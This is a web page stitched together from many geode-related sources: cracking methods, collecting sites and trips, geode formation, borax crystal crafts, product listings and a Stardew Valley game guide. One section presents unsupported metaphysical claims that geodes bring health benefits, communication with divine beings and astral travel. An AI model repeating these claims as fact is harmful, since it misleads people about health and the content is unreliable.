Geodes may also be cracked open using a special device called a geode splitter or cracker. This tool consists of two wedges placed opposite one another and a pneumatic press that forces the wedges together. To split a geode with this device, the user adjusts the wedges so that they hold the geode snugly between them, and he then pumps the pneumatic press until the geode splits. Still other methods involve cutting geodes in half with rock saws or splitting them with tension from a metal chain. If you would like to use one of these methods to split open geodes but do not have the equipment, then try contacting your local rockhound club or geology department.

Needless to say, when splitting geodes, it is always important to stay safe: wear safety glasses and gloves, and make sure to keep your fingers away from moving parts or pinch points. If you are a child, then seek adult supervision as well.

After splitting geodes, some users may wish to polish the geode faces. This requires special sandpaper and requires lots of time and patience. Machine sanders may be used to expedite the process.

Where to Find Geodes

Geodes occur around the world, and they are often found in or near limestone beds or igneous rock deposits. Brazil is well-known for its geodes, and many of the states in the United States have excellent sites for hunting geodes including Iowa, Illinois, Indiana, Kentucky, Utah, California, Arizona, and Nevada.

Uses for Geodes

Geodes are commonly sold at museum gift shops, rock shops, and other places that sell trinkets. They make excellent gifts for both rockhounds and non-rockhounds alike due to their pretty crystals, and geodes commonly find themselves serving as paperweights, suncatchers, bookends, and other ornaments.

Geodes are an excellent way to excite people, especially children, about geology, rocks, and minerals. Splitting geodes is a lot of fun, and many companies sell geodes for precisely this purpose.

Crystal Cave on Put-In-Bay Island in Lake Erie (Ohio, USA) is the largest geode in the world. Owned by Heineman’s Winery, it makes for a popular tourist attraction on the island. It’s large enough that visitors can walk around inside it like in the photo below.

406-256-0990 or Live Chat In $14.95

Our largest geode yet! The massive, Ultra-Mega geode is truly amazing. Each is about 5 – 6″ in size and weighs between 1.5 – 2.5 pounds. Read More

DESCRIPTION

Our largest geode yet! The massive, Ultra-Mega geode is truly amazing.

Carefully crack open this geode to reveal beautiful crystal structures inside! It’s large enough to be a decoration for your home, a gift for a friend, or a perfect addition to your rock & mineral collection. What’s better? Each geode is unique and your experience will be different each time. Buy more than one to see the diversity. Each is about 5″ – 6″ in size and weighs between 1.5 – 2.5 pounds. Order a rock pick for cracking these geodes! We also recommend adult-size impact safety goggles and child-size impact safety goggles for eye protection.

Note: It is possible that some geodes may have more or less crystal structures than others. This is due to the geodes natural production process. However, cracking into one of our Ultra-Mega geodes will reveal amazing deposits on the inside!

MORE INFORMATIO

CONTENTS

SPECIFICATIONS

Each is about 5 – 6″ in size and weighs between 1.5 – 2.5 pounds

My Science Perks is FREE! Just place your order while logged in to your Home Science Tools account and you’ll automatically earn up to 6% back when your order ships!

How to crack open a geode

Price: $7.99

Description

Explore the wonderful world of crystals with these unique Crack-Your-Own-Geodes. Crack each geode open to see the truly unique collection of crystals inside. Each geode is approximately 2″ to 5″ in diameter. Adult supervision required. Ages 6+.

Due to heavy shipping weight, this item only ships by Priority Mail. Sold Singly.

To safely open your geodes:

1. Wrap the geode in an old sock or towel. You will destroy the sock or towel.
2. Wear safety goggles.
3. Gently hit the geode with a hammer until you feel the rock crack.
4. Unwrap the geode to reveal the crystals inside.

Samples obtained worldwide.
All other components Made in the USA.
Assembled in the USA.

Safety Warnings

WARNING: CHOKING HAZARD-Small Parts. Not for children under 3 years.
May have sharp edges.
Adult supervision required.

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Crack a Geode with a cold chisel and sledge hammer. This method involves hitting your Geode squarely with a sharp chisel and crack hammer. It is very important to wear safety goggles. This method often creates fragments of rock and can be quite messy.
A large 14-16″ circular rock saw often found at lapidary shops or wet saw can be used to cut your Geode. This will result in a smooth edge cut often desirable amongst retail collectors. In addtion, slices of Geodes can be made relatively easily and are often great display pieces.
Crack a Geode with a large commercial soil Pipe Cutter. This is our favorite way to crack large Geodes and works rather well. The crack is rustic and often follows the natural Geode lines so that little damage is done during the Geode cracking process. Below is a video of an actual Geode cracking.

The above video shows how to crack a Geode with a 36″ chain commercial soil Pipe Cutter. The Geode is approximately 8 inches in diameter. The chain is wrapped around the circumference of the Geode and tightens gradually until the shear forces breaks the Geode in half. This particular Geode was found in Indiana and was not a “rattler”.

The Pipe Cutter works by creating a circle of pressure points around the circumference of the Geode. As the levers are compressed the chain tightens and the points etch the Geode with tremendous pressure. Repetition of compression and tightening of the soil Pipe Cutter chain results in distributed pressure around the exterior of the Geode. Ultimately, the Geode breaks along the pressure point line and creates a piezoelectric spark which can be clearly seen in the video.

Before Cracking Geodes, you gotta Clean your Geodes!

How to Make a Geode

Ingredients

While you may not have these supplies readily available at home, they’re easy to find at most craft stores:

A beaker (though a typical pot will suffice if necessary).
Borax.
Pipe cleaner.
Hot water.
A bamboo skewer.
String.
Food coloring.

Directions for Making Geodes

Once you’ve gathered all of your items together, it’s time to assemble them.

First, you should add about a liter of water to the beaker, and then boil it over a hot plate. After this, remove the beaker from the heat source, and add between 1 – 1 ½ cups of borax.

You should then stir until the blend has become saturated, which means the water has dissolved as much of the borax as possible.

There should be excess borax collecting at the bottom of the beaker, and this is a sign that you’re ready to move onto the next step.

Before you can grow your own geode, you need something to suspend it from. This is where the bamboo skewer and pipe cleaner comes in.

How to crack open a geode

The pipe cleaner is the structure that your crystal will grow around. To prep it, you should take the pipe cleaner and fold it inward on itself, until you’ve made a circular structure. Then you should attach it to the bamboo skewer with your string.

Dyeing Geode Rocks

If you plan to dye your geode, then now is the time to add food coloring.

You can, of course, grow your geodes without the addition of food coloring, but most people enjoy turning their structures into colorful objects.

The amount of food coloring that you add will depend on how dark or light you want your finished geode to be.

Remember, you can always add in more dye if your solution is too light, but it will be impossible to remove the dye if you add too much.

After you incorporate the food coloring, you should make sure to give the solution (which should still be warm) a good stir.

Growing the Geode

Once you’ve added the food coloring to the solution, it’s time to dunk the pipe cleaner, which will now be attached to the bamboo skewer.

After you have submerged the pipe cleaner in the solution, you should cover the beaker with a piece of paper or cardboard, and allow it to sit overnight.

It can take anywhere from eight to twelve hours for the borax solution to crystallize. During this time, it’s important that you do not disturb the solution. Otherwise, you may not end up with your intended result.

How to crack open a geode

When you return the next morning, uncover the beaker and gently raise your pipe cleaner from the solution. If you followed the steps correctly, then you should have your own DIY geode attached to the pipe cleaner.

If you would like to recreate the results and grow your own geode again, then you will already have a great base for it, with the remaining, non-crystallized solution in the beaker.

Growing the Second Geode

To make the second geode, all you have to do is reheat the remaining solution.

The heat will increase the solution’s ability to dissolve the borax, so you will have to add more borax until it reaches the point of saturation again.

Once the solution is saturated, you can, once again, add a little more food coloring to the solution. This step is not required, but may result in prettier geodes!

After that, you should suspend another pipe cleaner into the solution, and wait another eight to twelve hours.

At this point, if you want to make more geodes, you should probably start from scratch, with fresh water, borax, and food coloring to get the best results.

Here’s a video showing an example of DIY geode rocks.

Final Thoughts

As stated above, this popular borax craft is a big hit with teachers and kids because of the ease of this project, as well as the affordability of the supplies involved.

Please note that it takes a substantial amount of time to make the geodes grow, however.

So, if you’re planning on making geodes for a birthday party or other fun outing, the finished product probably won’t be ready in time.

A geode is a hollow rock lined with an inside layer of sparkling crystals. On the outside, geodes appear nondescript and are easily overlooked. However, cracking open a geode will display an array of colorful crystals. Searching for these hollow rocks can be an elusive pastime, that might be enjoyed by anyone who likes studying and collecting rocks and minerals.

Formation

The formation of geodes is complex, and the process occurs over an extensive period of time. A geode begins as a hollow bubble located inside a layer of volcanic rock or another type of rock. These hollows could occur from tree roots or from animal burrows underground. With the formation of the rock, tiny air bubbles surrounded by the rock are initially hot. With the addition of moisture, chemicals are released into the water. Part of this mineral-rich water penetrates through the outer surface of the rock to the inside, which causes it to be trapped inside of the bubble. Tiny crystals remain inside the bubble sticking to the sides. Over thousands and millions of years, layers form inside of the space. These layers include both agate and quartz. Some geodes have tightly packed crystals inside of them, while others still have a cavity with crystals lining the interior surface.

Coloration

Geode colors depend on the agate layer inside the rock and the type of crystals that form on the agate layer. Generally, the agate layer supplies the majority of the geode’s color. The color of the agate depends on how the minerals are distributed inside of the stone. If an abundance of iron oxide and cobalt are present, the colors will be red. If titanium is present, the colors will be in the blue family. Manganese produces pink coloration, while chromium and nickel result in green hues. The quartz on top of the agate are generally either white or transparent, but quartz may have coloration as well.

Prevalence

Geodes may be found all over, but they tend to be most prevalent in desert regions. Anywhere volcanic ash is a part of the landscape and places containing large amounts of limestone are ideal places to hunt for geodes. The State of Iowa has a significant geode deposit, even naming a state park after the stone. A large cave in Ohio called the Crystal Cave offers tours for visitors wishing to learn about geodes. Aside from desert and central regions in the United States, Mexico, Australia, and Brazil are common places where geodes are prevalent.

Vugs and Crystal Caves

Crystal caves and vugs are the locations where geodes tend to form. A vug is a cavity that occurs inside rock with crystals lining the inside of the cavity. Vugs may form as a result of faulting or the collapse of rock, and they often contain secondary minerals inside of them. Crystal caves are often hidden and blocked by many tons of rocks, making them difficult to find. Scientists theorize that crystal caves form when salty sea water evaporated millions of years ago, leaving behind salty layers of sediment that eventually hardened into a crystal.

Further Learning

Scientists and those who enjoy geology consider geodes to be hidden treasures, waiting to be uncovered. Virtually anyone can choose a nondescript rock to crack open and find out what is hiding inside. Every geode is unique, and they vary widely in color, and crystal formation. Geodes can also be a variety of sizes from small to quite large. Opening a geode involves tapping it with a hammer. Some people prefer using a rock saw to cut the rock in half. The rarest and most valuable geodes contain amethyst crystals and black calcite.

Geode hunting is a fun activity for families.

But finding a good spot, knowing what to bring, having everything on hand and understanding what you are looking for can be a bit tricky.

In fact, many people look for geodes and never find them because they aren’t prepared or in the right place.

Geode hunting takes a little science, some exploration skills, and a little know how for a successful hunt!

My husband remembered geode hunting as a kid and he wanted his girls to have the experience too.

How to crack open a geode

So, we picked a day and ventured down to the Keokuk area of the Mississippi and spent a day geode hunting. This is where the greatest number of geodes in our country can be found.

In our truck, we had Jeremy and I and our nephews who just happened to be the ring bearers in our wedding 13 years ago! Now they are 6’4 and had a hard time in the half bench of our truck with their long legs! What a memory!

How to crack open a geode

Instead of Keokuk, we actually ended up at a park just over the border in IL for our hunt. Wildcat Springs was the perfect place to go. FREE with a playground, clean creek area, picnic tables, an outhouse and trash bins. For a group of all different ages, it was perfect.

Even us “big kids” had some fun on the playground!

How to crack open a geode

Jeremy went down to the creek first to find a few geodes to show the kids what they were looking for in the water and along the creek beds.

How to crack open a geode

You’ll need to have some buckets to carry the geodes and a good hammer and chisel to break open the geodes. When breaking the geodes, you want to make sure that everyone is far enough away so that pieces don’t shoot up into anyone’s eyes. This is hard to do with kids looking on but having an adult present is a good thing!

Stanley Chisel Set and Hammer are some good options and best sellers on Amazon. This rock hammer is kind of a two-in-one that would also work great.

For the most part, once the kids knew what to look for, we saved the geode opening/breaking for when we got home but bring your tools along to open a few at the river.

How to crack open a geode

When geode hunting with kids, watch out for creek dangers. Stinging Nettle, sharp rocks, muddy paths, rushing water, broken glass are all possibilities when you visit a creek or park!

I happened to rub my hand against some Stinging Nettle. It hurt and swelled up! But, I quickly put my hand in the creek and the cold water helped so much. Within a few minutes the swelling and stinging was gone.

How to crack open a geode

Rubber boots, well fitting sandals or hiking/water shoes are appropriate for a day in the creek. Good shoes will help keep your feet steady on wet rocks and muddy paths.

Unless you are like my middle daughter who happened to end up bootless by the end of the trip. Her pink boots are now at the bottom of the creek somewhere… we couldn’t find them. She wore her socks and thankfully, her feet stayed safe on the hike out of the creek.

How to crack open a geode

Sunscreen is big too… and bug spray. And water to drink.

But the geodes are worth it. My girls felt like they were on a big treasure hunt.

How to crack open a geode

When we got back to Jeremy’s parents’ house, Jeremy and Elayna spent hours cracking open geodes and filling his mom’s flower beds with pretty, sparkly rocks!

A few other tips:

Call ahead to where you are going geode hunting. Some places charge for a guide or for the geodes themselves. You can also ask if they have been finding any geodes in a particular spot. Depending on rain fall and water levels, you might arrive and not find any geodes!

Along with your hammer and chisel, having a sand bag or something soft to lay the geode in will make it much easier to crack open without the geode rolling all around while you try to hit it with a chisel and hammer. This was a big help for Elayna when she was trying to crack them open. Here is a pack of 10 basic bags that you’ll be glad you have on hand after your geode hunt.

Have time. It takes time to hunt the river, search the rocks, hike in and out and then crack the geodes. Plan on a good afternoon of fun!

If possible, take the time before you go to study geodes. There are different kinds, colors, values, and sizes.

Take a look before you go geode hunting so you know if you find a really good one! Or bring this book along to study as you go: Ultimate Explorer Field Guide: Rocks and Minerals (National Geographic Kids)

Also, a great activity, whether you don’t find some on your hunt or you live too far away from this part of the country to go, order this 10 geodes science kit from National Geographic for a great day of family fun and learning.

Have you ever been geode hunting?

How to crack open a geode

There are conflicting views about how geodes form, but most geologists agree that they begin as bubbles, sometimes in submarine limestone sediments, sometimes in a lava flow. Occasionally they form around the body of a sea creature on the ocean floor. Over time, the bubble is cast in a hard shell of silica, and water containing dissolved material is trapped inside. The precipitate that results is composed of a variety of minerals, usually quartz or calcite, but also aragonite, magnetite, barite and chalcopyrite. Many thousands of years later, weathering lifts the hard little silica orb away from the surrounding rock. The exterior of the sphere appears dull and pitted, which is no doubt why the Greeks called them “geoides”, meaning “earth like”. However, on the inside, they can look heavenly. The precipitate forms a lining of inward projecting crystals and since different minerals harden at varying temperatures, the material forms layers(called Fortifications). Sometimes a cavity may be completely filled by layers. Purists refer to these geodes as nodules. Crack open a nodule and instead of a hollow crystalline core, you might find halos of brilliantly hued agate, produced where chalcedony-laden water precipitated within the shell. Geodes can also be filled with surrounding silt and sediments, forming a “mud ball.” If a crystal breaks off inside the geode, you can hear rattling (the only guarantee of a hollow geode!), these are often called “rattle stones”. Occasionally, water gets trapped in the geodes, forming what is called an “enhydro”, (Greek for “water inside”).

WHERE TO FIND GEODES

The best locations to look are in deserts – the western states, especially Arizona, Utah, and Nevada are popular hunting grounds. California’s Riverside and Imperial counties are particularly renowned for their geodes, as is Keokuk, Iowa, Mexico, Australia, Germany, Uruguay and Brazil.

How to crack open a geode

Keokuk Geodes

It was late morning, and my son, Steve, and I were driving the backroads of Western Illinois. We were out to finally fulfill a long-time quest: that of finding a geode in the wild. What is a geode you ask? You’ve probably seen them for sale in souvenir shops but just in case you don’t know the details:

How to crack open a geode

Geode – Gotta love the inner beauty!

Simply stated: geodes are hollow rocks lined with crystals or other minerals. However, their origins go back hundreds of millions of years ago in which bubbles formed in lava or earth and over time rainwater has seeped minerals into them. These minerals crystalize and over millions of years crystals are gradually built up in the inside space. To me, the process is very similar to how beautiful formations are built within caves, but on a much smaller scale. Geodes are found all over the world but one of the largest concentrations of them is found around Keokuk, Iowa in something called the lower Warsaw Formation, a widespread rock unit of Mississippian age. That’s where Steve and I were headed. (Note: neither of us is a geologist, we’re just two guys looking for cool rocks!)

After about two hours drive we pulled into our target location: Jacob’s Geode Mine just outside of Hamilton, Illinois. We went the office where we told the owner that we had no geode experience and we wanted all the information we could get. He pointed to a hand-drawn map on the door which showed the location of his two geode mines. Mine #1 produces the largest geodes and you have to dig “below the brown dirt” to find them. Mine #2 produces the best quality geodes but “you have to chisel them out of the shale.” He said that each 5 gallon bucket we haul out costs $20 and he pointed out some tools on the ground that we could borrow. The entire briefing took less than 3 minutes. On the way to our truck I asked the owner if he thought we’d actually find a geode. He just laughed and said the last guy found ten gallons worth. Steve and I were still skeptical.

How to crack open a geode

Entering Jacob’s Geodes – the mines are farther down the gravel road.

We decided to try Mine #1 first as we wanted to find some big geodes. We were able to pull up to the side of the mine and could see where the dirt had been gouged out by a bulldozer. We grabbed our tools: shovel, pickaxe, rock chisel and hammers and made our way into the mine. In moments we had found our first geodes…golf-ball sized round rocks just scattered around. It was like someone had just thrown some little ones back! We grabbed a hammer and broke a few open just to be sure. Yep, these were geodes!

How to crack open a geode

Digging below the brown dirt!

How to crack open a geode

The point of the hammer is on a geode waiting to be dug out.

Now, we wanted to find some bigger ones so the harder work began. With shovel, pickaxe and rock hammer we dug into the hardened soil about 4 to 6 feet below the surface and below the brown dirt. In short order Steve unearthed a grapefruit-sized geode, and then another and then another! It was like a cluster of grapefruits! In about 90 minutes of digging we had unearthed almost ten gallons of geodes!

How to crack open a geode

Steve and two nice sized geodes.

Now, we wanted to find the higher-quality geodes so we set off deeper into the woods to Mine #2. There we drove into the mine which was about a twenty foot gash into the hillside. We grabbed our tools and climbed up to where we could see evidence of geode mining. Here we were faced with shale, hard sheets of horizontal rock with occasional round bubbles in them. This was hard work chiseling out stone inch by inch until you could finally pull the geode out of the rock. This was so cool, but so exhausting. We were at Mine #2 for another 90 minutes, topping off our two 5 gallon buckets with more geodes.

How to crack open a geode

Chiseling geodes out of the shale.

It was a long ride home filled with anticipation for what might be inside our treasures. We took all the rocks into Steve’s apartment and laid a tarp on the floor. Then we used a rented soil-pipe cutter to try to crack open some geodes. There we found out just how hard geode shells are as it took the force of two men using the leverage and cutters of our tool to crack the bigger geodes. One of us would be pulling down on the cutter’s bar as the other stood on the geode to hold it down. Finally, you’d hear a “pop” and then we would eagerly open it to see what treasure was inside. Primarily, our geodes had clear and orange quartz with some iron oxide. Some of them also had flecks of pyrite and other sparkly material. Too cool!

How to crack open a geode

Wondering what’s inside!

We divided up the remaining geodes with each of us ending up with about 5 gallons of rocks. I brought mine home and the next day had a geode-cracking party with 5 grandkids and my sister Sheryl. It took about 2 hours and all the energy of the seven of us to crack open all those geodes but it was worth it! Every rock yielded a different discovery and every rock was a treasure!

How to crack open a geode

Geode hunting is great if you love the outdoors and if you love to discover new treasures. It’s fun for all ages but you will need to help everyone be safe because of all the tools and the difficult footing. Some of the mines, like Jacobs offer free tools to borrow but you’ll need to call ahead to be sure. I highly recommend renting a soil pipe cutter: ours was $35 a day. Below are some links to help you get started:

Are you tired of frequently visiting the Blacksmith to crack a Geode? If so, you should make a Geode Crusher! In this guide, you’ll learn how to craft and use it in Stardew Valley.

How to crack open a geode Here’s what a Geode Crusher looks like in Stardew Valley.

After collecting mineral deposits from The Mines, you have to visit Clint to open it. Although having it crazed only costs 25g, going back and forth to his shop can be a tiresome task.

If you don’t like continuously visiting him, getting a Geode Crusher would greatly favor you. This guide will help you make one and teach you how to use it.

Table of Contents

What’s a Geode Crusher?

A Geode Crusher is a piece of refining equipment in Stardew Valley that efficiently breaks different mineral deposits, including Regular, Frozen, Mantle, and Omni Geodes. This machine is like a furnace since all you need is coal and Geode for it to work. And it’ll only take an hour to crack them.

However, it can’t crush items like Artifact Troves and Golden Coconuts. To open them, you still have to visit Clint’s shop. If you try placing a non-crushable item in it, nothing will happen. And if you operate it without any coal, the system will flash: “Require one coal.“

How to Get Its Recipe?

Before crafting this item, you must obtain its recipe from Clint by completing his Special Order “Cave Patrol.” You’re required to slay 50 of one of the listed monsters: Bats, Dust Sprites, Skeletons, or Grubs.

Upon completing this task, you’ll receive a 6,000g and the recipe as a reward. Note that you have only seven days to finish this task.

How to Craft It?

You’ll need two Gold Bars, 50 Stones, and one Diamond to make this equipment.

How to crack open a geode

How To Open Your Own Geode?

It’s recommended that you ask us to pre-crack your geode using a specialized geode cracker which is much less likely to cause damage to the crystals inside. We’ll rubber band the two halves so you can still be the first to look inside.

If you want to crack them yourself, the best method is to use a hammer and chisel. First, score the geode all the way around the circumference of the geode with the chisel. It’s suggested that you use a flat-faced chisel and not the pointed type, because the force from a pointed chisel will be directed over one spot versus over a larger area. Continue this process until you see a crack develop in the geode, and then follow the crack around the geode until it opens. Begin lightly at first and then strike harder if a crack is not developing.

You can also place smaller geodes inside of a sock and hitting them with a hammer. This protects the person breaking them and bystanders from any flying debris. This is a recommended method if smaller children are around.

Here is a video clip of us cracking a large Keokuk Geode with the geode cracker.

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How to Crack open a Geode Video!

Cracking a Geode is comprised of three popular methods:

Crack a Geode with a cold chisel and sledge hammer. This method involves hitting your Geode squarely with a sharp chisel and crack hammer. It is very important to wear safety goggles. This method often creates fragments of rock and can be quite messy.

A large 14-16″ circular rock saw often found at lapidary shops or wet saw can be used to cut your Geode. This will result in a smooth edge cut often desirable amongst retail collectors. In addtion, slices of Geodes can be made relatively easily and are often great display pieces.

Crack a Geode with a large commercial soil Pipe Cutter. This is our favorite way to crack large Geodes and works rather well. The crack is rustic and often follows the natural Geode lines so that little damage is done during the Geode cracking process. Below is a video of an actual Geode cracking.

Before Cracking Geodes, you gotta Clean your Geodes!

MAKE YOUR OWN SPARKLING GEODES!

How to crack open a geode

Have you ever seen a geode? On the outside, it looks like a plain old, round rock. But when you break it open, inside is a lining of beautiful crystals!

Geodes are found all over the world, usually in deserts. If you live in any of the southwest or midwestern states, you might be able to find them out in nature!

You can also find them for sale at toy and rock shops to take home and break open yourself.

Geodes start out as tree roots, mud balls, or volcanic bubbles inside of sedimentary rock. Over many millions of years, the outer, rounded shell hardens, but the inside remains hollow.

A liquid containing dissolved minerals gathers on the inner walls of the geode. Over time, these minerals form crystals!

How to crack open a geode In this experiment, you can create some geode-like crystals using eggshells and a few items from home. The science is similar to how a real geode is made, but on a shorter time scale – 20 minutes instead of millions of years!

NOTE: Setting up the lab will only take about 20 minutes, but once you’re done you’ll have to wait overnight to see the full results.

What You’ll Need

3 eggshell halves
measuring cup
4 cups of water
pot
1 3/4 cups borax
spoon
3 glasses with lids
food coloring

WARNING: Be careful when working with borax. Work in a well-ventilated area; do not breath in the fumes and as with all science experiments – don’t taste or eat anything!

Let’s Get Started!

Collect eggshell halves. You can either hard-boil eggs and peel off the shells or crack open raw eggs and wash and dry the shells before using.
With an adult’s help, bring four cups of water to a boil in a pot on the stove.
Remove the pot from the heat and SLOWLY stir in 1 3/4 cups borax until completely dissolved. (NOTE: Avoid splashing; do not inhale fumes; turn on air vent and/or open windows.)
Let the solution cool for about 15 minutes.
To each of the three glasses, add about 10 drops of food coloring. We found that lighter colors, like yellow, work well.
Carefully pour the borax solution into the three glasses so there is about the same amount in each one. The food coloring should easily go into solution.
Now add an eggshell to each glass, allowing it to sink to the bottom. Use a spoon to carefully arrange the shell so it isn’t touching the sides of the glass to prevent sticking.
Cover each glass with a lid. (This will prevent borax fumes from escaping.)
Leave the glasses undisturbed overnight.
The next day, carefully then scoop out the eggshell with a spoon. It will likely be stuck to the bottom of the glass, so you may have to use a bit of pressure to release it.
Place on a plate or paper towel to dry. Enjoy your geode!

How to crack open a geode

WHAT’S GOING ON?

How to crack open a geode You probably noticed that the borax powder dissolved easily in the hot water. More borax will dissolve in hot water than in cold water. Hot water molecules move around a lot more and there is more space between the molecules. So there is more space to hold the borax. This type of solution is called a supersaturated solution. The water can not hold any more borax – it’s completely stuffed!

When the solution cooled overnight, the water molecules slowed down and got closer together. There was no more room for the borax, so it could no longer remain dissolved. The borax particles came out of solution and settled on the eggshells, in the form of crystals!

What is a Crystal?

How to crack open a geode When molecules like borax (a mineral salt) come together in a very organized, patterned way, a crystal is formed. The size and shape of the crystals depends on how fast the solution cools. When solutions cool fast, smaller crystals are formed because they have less time to organize. Slow-cooling solutions tend to form larger crystals. You might want to repeat the experiment again, but this time, try putting the glasses into the refrigerator overnight. What do you think will happen to the size of the crystals?

How to crack open a geode

SHARE WITH US!

Let us know how your experiments turned out! Share your photos and results with us on Facebook, Twitter, Instagram, or send us an email to [email protected] We love getting your messages!

For more exciting experiments, check out our Yellow Scope science kits on the Shop tab of our website!

A Hollow Space Forms

In igneous (volcanic) rocks the hollow space is the result of a gas bubble becoming trapped inside of cooling magma. The amethyst geodes found within ancient basalt flows in Brazil & Uruguay are a good example of this.

In sedimentary rocks the hollow space is often formed by groundwater dissolving an existing structure within rock. For example in the case of Keokuk geodes from Iowa, concretions within the surrounding shale are dissolved, leaving round voids. Sometimes the cavity might form due to a fossil being dissolved or due to decaying organic matter leaving a gas pocket in the sediment.

Formation Of Crystals

In the second stage of geode formation, minerals are deposited on the walls of the cavity. These minerals are present in groundwater or hydrothermal fluids which flow through the host rock. Temperature or chemistry changes cause minerals to precipitate out of the water, hardening on the walls of the cavity. The first layer in many geodes is often chalcedony, a micro-crystalline form of quartz.

This precipitation will often recur many times due to cyclical changes in temperature or fluid chemistry. As this process reoccurs over and over, inwardly pointing crystals will form.

Various varieties of quartz crystals are the most common minerals found inside of geodes, but calcite, pyrite, hematite, barite, smithsonite and a host of other minerals can be found.

Finding The Geodes

It is not uncommon for geodes to be found individually, already liberated from the host rock in which they formed. The chalcedony that lined the geode is more durable than the host rock. So, as the rock decomposes or erodes, just the solid geodes are left.

Published February 9, 2021

Guest Blog: What’s in a Geode?

GeoFest is a fan-favorite festival at the Indiana State Museum, and it’s an event that’s all about rocks, gems and minerals. Visitors can purchase items from dozens of vendors from around the country, as well as enjoy interactive activities throughout the museum.

One of the rocks many people are most familiar with is the geode – a type of rock that you crack open to expose glittering crystals inside.

But, what’s in a geode, and how do they form? Our curator of geology explains in this guest blog.

What’s in a Geode?
By Peggy Fisherkeller, curator of geology, Indiana State Museum and Historic Sites

For my job as curator of geology, I get to do some excellent things. One of my favorites is identifying mystery rocks.

It usually starts with an email that goes something like this: “I don’t know if this is the right place, but I have this rock…” Rock identification isn’t the most common skill, but amazingly, it doesn’t do as much as you’d think to make me popular at parties.

How to crack open a geode Geode with Quartz and Barite

After that first exploratory email or phone call, we sometimes have to meet in person, because identifying from photographs can be tricky. Among the most common objects to walk through the doors are geodes.

A quintessential southern Indiana rock, geodes are mostly found in Morgan, Monroe, Brown, Lawrence and Washington counties. Most natives of those counties can tell a geode from an ordinary rock, but those of us not born and raised in southern Indiana might not know about these oddly-shaped, round rocks with nubbly surfaces. In fact, geodes are often suspected of being petrified human heads or dinosaur eggs!

How to crack open a geode Geode with Quartz and Calcite

The real origin of Indiana geodes has less to do with ancient animals and more to do with the chemistry of ancient oceans.

Some 350 million years ago, Indiana was the site of a shallow, salty sea. Geodes probably began as mineral nodules in the briny sea floor that were later replaced by other minerals, and the sea floor sediment eventually became limestone. Over time, groundwater full of dissolved minerals travelled through the geode-rich limestone bedrock, providing the source for a variety of crystal types. Much like rock candy – made by supersaturating water with sugar and hanging a string for crystals to form on as the sugary water cools – it usually takes an over-saturated fluid and something to attach to in order to form a crystal.

How to crack open a geode Geode with Calcite, Dolomite, and Quartz

Geodes can have just one type of mineral inside, or many, depending on the generations of groundwater that have moved through. They can either be hollow with crystal-lined insides, or solid. In either case, geodes have a hard chalcedony exterior that preserves them as the softer limestone wears away and they remain behind.

Geodes can be found in the previously-mentioned Indiana counties, often in stream beds where they’ve ended up after weathering out of bedrock. Once you know what geodes are, they’re easily spotted. Make sure to check with landowners before exploring and collecting.

Or, come buy geodes of your own at GeoFest, February 19-21 at the Indiana State Museum. The rock and mineral show is included with purchase of general admission.

Geodes As Meditation Tools

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How to crack open a geode

Geodes are a type of natural rock formation that contains a cavity lined with crystals or another type of mineral matter. They are formed as a hollow bubble inside of a layer of rock which was created by volcanic forces or chemical precipitation. The word Geode comes from the Greek term, Geoides, which means Earth-like. In the healing world, geodes are strange phenomena to many and hold a meaning that assists with harmony and creativity from a metaphysical perspective.

Each geode holds a special energy and can hold just about anything. Geodes are more about reminding one of a feeling than about healing other things. It is important that you find the one that connects to you and holds a feeling you connect to when choosing to work with geodes.

The Many Uses of Geodes

Bigger geodes can help create a chi flow in areas of your home. Many see geodes as a feminine property due to the cavity which could represent the womb. Geodes can help communicate with divine beings and assist in creating better moods, balances, and energies that can help with meditation, stress, and decision-making. Their multiple uses come from the fact that crystal formations vary and each crystal varies in minerals held. Across the board, they have many health benefits and promote well-being.

Assistance With Decisions

The geode comes with many different mineral crystals, such as quartz, amethyst, and citrine. They can help you to see the whole picture and helps with coming to a decision before things get out of hand. It helps one have the ability to shape one’s own future and bridges communications with the Higher Deity.

Geodes also help with communications between people who are in the same healing fields. They can assist one in astral travels and are good tools for meditations, especially the amethyst geodes. These stones can be good for soothing and de-stressing and aid in spirituality and psychism.

Geode Rock Garden: Our Lady of Grace Grotto

The Rock Garden of Peace sacred place is a Catholic refuge. One doesn’t have to be of the Catholic faith to soak in the good vibes from this blissful garden.

Our Lady of Grace Grotto, located east of St. Mary’s Church in West Burlington, Iowa, was begun in the spring of 1929 by two Benedictine priests, Fr. M. J. Kaufman and Fr. Damian Lavery, the designer. Built during the depression years, many of the creators were unemployed and welcomed something to do. Despite the challenging time of the depression years, it was in hope and faith that the grotto was dedicated by Rev. H.P. Rohlman, Bishop of Davenport (Iowa). The grotto, erected in memory of Our Lady of Grace, was built entirely of donated rocks. Contributions were received from every state and many foreign nations. Many of the rocks came from the Holy Land. Inside the grotto, the statue of the Blessed Virgin Mary is flanked by two seashells, one from the Atlantic Ocean and one from the Pacific Ocean. Its domed interior sparkle with the glint of quartz crystals found in geodes.

Disclaimer: The information contained on this site is intended for educational purposes only and is not a substitute for advice, diagnosis or treatment by a licensed physician. You should seek prompt medical care for any health issues and consult your doctor before using alternative medicine or making a change to your regimen.

This month’s review as Bandai STEM Ambassadors is a real favourite of mine. Of all of the science sets we’ve ever played with, Geodes are most magical to me. Geodes are naturally occurring volcanic rocks which each contain amazing crystal formations. They come in all sizes and with a variety of different crystals inside, and you never know what you are going to get until you crack them open.

Excitingly National Geographic sets now come with cardboard inserts and plastic is kept to a bare minimum. There’s no set up time and you can crack open your Geode as soon as you have located a hammer, so Earth and Christmas morning-friendly.

The fun with geodes is cracking them open! The best way to do this is with a hammer and chisel, because you want to split the rock apart, but not shatter it. You do need to use some force, but start off tapping gently. If you hit too hard or in too many places, the rock will collapse into a million pieces. This has never happened to me, but I dread the day it does.

Don’t forget your safety glasses, and if you want to be extra careful or young children are watching, put the geode inside a sock before you hit it. Dust and larger pieces of rock will likely come loose and can fly anywhere nearby.

We didn’t have a chisel and you can simply tap the geode directly with the hammer, but we were hoping for a cleaner cut, so used a sacrificial dinner knife. The knife will be completely ruined, so an old rusty one is best and for goodness sake get permission from a responsible adult. Some metals spark when hit together, so if you try this do it well away from anything that can catch fire.

After starting out gently, these turned out to be the hardest geodes I’ve ever encountered. Our first geode took us about 15 minutes to crack and is very pretty. It’s well filled with white crystals in a sort of cloud formation.

Our second geode really was ‘rock solid’! After 30 minutes our hammer blows were really taking a lot of effort and the boys passed the challenge on to me. I had to have a few really good swings before it opened, and then we saw why. Our geode was almost completely solid.

